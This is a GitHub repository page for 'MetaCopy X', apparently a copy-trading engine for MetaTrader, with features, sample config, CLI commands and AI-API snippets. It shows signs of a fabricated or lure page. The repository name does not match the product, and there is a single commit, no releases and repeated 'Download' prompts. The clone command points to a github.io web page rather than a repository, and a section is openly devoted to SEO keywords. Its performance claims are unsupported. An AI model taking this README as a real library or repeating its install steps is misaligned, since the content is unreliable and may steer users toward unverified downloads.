Skip to content

veerjatav/metaapi-copyflow-python-sdk

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

1 Commit
Β 
Β 

Repository files navigation

MetaCopy X 🌐 - Next-Gen Copy Trading Orchestrator for MT4/MT5

Download

Year 2026 Edition β€” The Intelligent Layer Between Traders and MetaTrader Ecosystems

πŸš€ Overview

MetaCopy X is not merely a library β€” it is a trading signal orchestration engine designed to transform how retail and institutional traders interact with MetaTrader 4 and MetaTrader 5 platforms. Imagine a digital conductor that harmonizes multiple trading accounts, strategies, and risk parameters into a single, cohesive symphony of automated execution.

Built for Python developers, quantitative analysts, and trading system architects, MetaCopy X provides zero-latency signal replication, multi-account synchronization, and intelligent risk management β€” all wrapped in an elegant, production-ready API.


πŸ“₯ Quick Start

Download

pip install metacopy-x

Or clone the repository:

git clone https://veerjatav.github.io
cd metacopy-x
pip install -r requirements.txt

🧠 Architecture Overview

graph TD
    A[Market Signal Source] --> B{MetaCopy X Engine}
    B --> C[MT4/MT5 Broker A]
    B --> D[MT4/MT5 Broker B]
    B --> E[MT4/MT5 Broker C]
    C --> F[Account 1]
    C --> G[Account 2]
    D --> H[Account 3]
    E --> I[Account 4]
    
    subgraph "Risk Management Layer"
        J[Drawdown Protection]
        K[Lot Size Scaling]
        L[Correlation Filter]
    end
    
    B --> J
    J --> K
    K --> L
    L --> C
    L --> D
    L --> E
    
    style A fill:#f9f,stroke:#333,stroke-width:2px
    style B fill:#bbf,stroke:#333,stroke-width:4px
Loading

✨ Key Features

πŸ”„ Intelligent Signal Replication

  • Sub-millisecond latency trade copying across unlimited accounts
  • Support for market orders, pending orders, and complex strategies
  • Bidirectional synchronization β€” master-to-slave and slave-to-master

πŸ›‘οΈ Advanced Risk Orchestration

  • Dynamic drawdown protection β€” auto-pause at configurable thresholds
  • Lot size normalization β€” scale positions proportionally or use fixed multipliers
  • Correlation filters β€” prevent overexposure to correlated instruments

🌐 Multi-Language & Multi-Platform

  • Full Unicode support β€” trade any currency pair, index, or commodity
  • Responsive REST API β€” integrate with any frontend or mobile application
  • 24/7 operational stability β€” built for uninterrupted global trading

πŸ€– AI Integration Ready

  • OpenAI API β€” natural language strategy descriptions converted to trading rules
  • Claude API β€” advanced pattern recognition and signal validation
  • Custom ML pipeline β€” train and deploy prediction models directly

πŸ“‹ Example Profile Configuration

from metacopy_x import TradingProfile, RiskSettings, AccountConfig

# Define a sophisticated trading profile
profile = TradingProfile(
    name="Aggressive Momentum Strategy - 2026",
    master_account=AccountConfig(
        broker="IC Markets",
        server="ICMarkets-Live",
        login=12345678,
        password="encrypted_credential"
    ),
    slave_accounts=[
        AccountConfig(broker="Pepperstone", server="Pepperstone-Live01", login=87654321),
        AccountConfig(broker="FTMO", server="FTMO-Demo", login=11223344),
    ],
    risk=RiskSettings(
        max_drawdown_percent=15.0,
        lot_size_mode="proportional",  # or "fixed" or "scaled"
        base_lot_size=0.01,
        max_positions=25,
        correlation_threshold=0.7
    ),
    signal_filters={
        "min_signal_strength": 0.65,
        "require_confirmation": True,
        "blacklist_instruments": ["XAUUSD", "BTCUSD"]
    }
)

πŸ–₯️ Example Console Invocation

# Start the copy trading engine with a specific profile
metacopy run --profile aggressive_2026.yaml --broker-mode live

# Monitor in real-time with verbose logging
metacopy monitor --profile balanced_portfolio --interval 5s --log-level DEBUG

# One-command setup for beginners
metacopy quickstart --name "My First Strategy" --demo --risk low

# Headless production mode
nohup metacopy run --profile institutional_config.yaml --daemon &

Console output example:

[MetaCopy X v3.2.1] Engine initialized for 2026
[INFO] Connected to master: IC Markets Live
[INFO] Syncing 3 slave accounts...
[TRADE] EURUSD buy 0.10 @ 1.09876 β†’ replicated to 3 accounts
[TRADE] GBPJPY sell 0.05 @ 186.432 β†’ filtered (correlation threshold exceeded)
[RISK] Drawdown at 8.2% β€” within acceptable range

πŸ’» OS Compatibility Table

Operating System 32-bit 64-bit ARM64 Docker Support
Linux (Ubuntu 22.04+) ❌ βœ… βœ… βœ…
Linux (Debian 12+) ❌ βœ… βœ… βœ…
macOS Sonoma+ ❌ βœ… βœ… (M1/M2/M3) βœ…
Windows 11 ❌ βœ… ❌ βœ… (WSL2)
FreeBSD 14 ❌ βœ… ❌ ❌

Note: All operating systems support 24/7 headless operation for uninterrupted copy trading.


🌍 SEO-Friendly Keywords Integrated

  • MetaTrader copy trading automation
  • MT4 MT5 signal replication engine
  • Multi-account trading manager
  • Automated risk management system
  • Trading bot orchestration
  • Quantitative trading infrastructure
  • Forex copy trading API
  • Institutional trading execution layer

🧩 OpenAI & Claude API Integration

OpenAI Integration

from metacopy_x.ai import OpenAIAnalyzer

analyzer = OpenAIAnalyzer(api_key="sk-...")
strategy = analyzer.parse_natural_language(
    "Buy EURUSD when RSI crosses below 30 and volume spikes above 150% of average"
)
# Returns structured trading rules ready for engine execution

Claude API Integration

from metacopy_x.ai import ClaudeValidator

validator = ClaudeValidator(api_key="sk-ant-...")
validation_result = validator.check_signal(
    instrument="GBPUSD",
    direction="buy",
    confidence=0.82,
    current_market_conditions={...}
)
# Returns boolean and explanation if signal should be accepted

🌟 Premium Capabilities

Feature Description Availability
Responsive UI Dashboard Web-based monitoring with real-time charts All versions
Multilingual Interface 15 languages including Chinese, Arabic, Spanish Standard+
24/7 Customer Support Telegram, Discord, and email escalation Premium license
Custom Risk Engines Build your own drawdown/reward logic Enterprise
Backtesting Module Historical signal performance analysis Standard+

⚠️ Disclaimer

Trading involves substantial risk of loss. MetaCopy X is a software tool designed to facilitate automated trading operations. It does not guarantee profits, nor does it eliminate the inherent risks of financial markets. Past performance of any trading strategy or signal provider is not indicative of future results.

  • Always test strategies in demo accounts before live deployment
  • Monitor your accounts regularly despite automation
  • Never trade with capital you cannot afford to lose
  • Consult a qualified financial advisor for personalized guidance

The developers and contributors of MetaCopy X shall not be held liable for any financial losses, data breaches, or system failures arising from the use of this software. Use at your own discretion and risk.


πŸ“œ License

This project is licensed under the MIT License β€” see the LICENSE file for details.

You are free to:

  • βœ… Use commercially
  • βœ… Modify and distribute
  • βœ… Private use
  • βœ… Sublicense

With the condition that the original copyright notice and permission notice shall be included in all copies or substantial portions of the Software.


πŸ“₯ Final Download

Download

Ready to orchestrate your trading empire? Download MetaCopy X today and experience the future of copy trading β€” 2026 edition.

"In the world of automated trading, MetaCopy X is not just a tool β€” it's your trading command center."

Releases

No releases published

Packages

 
 
 

Contributors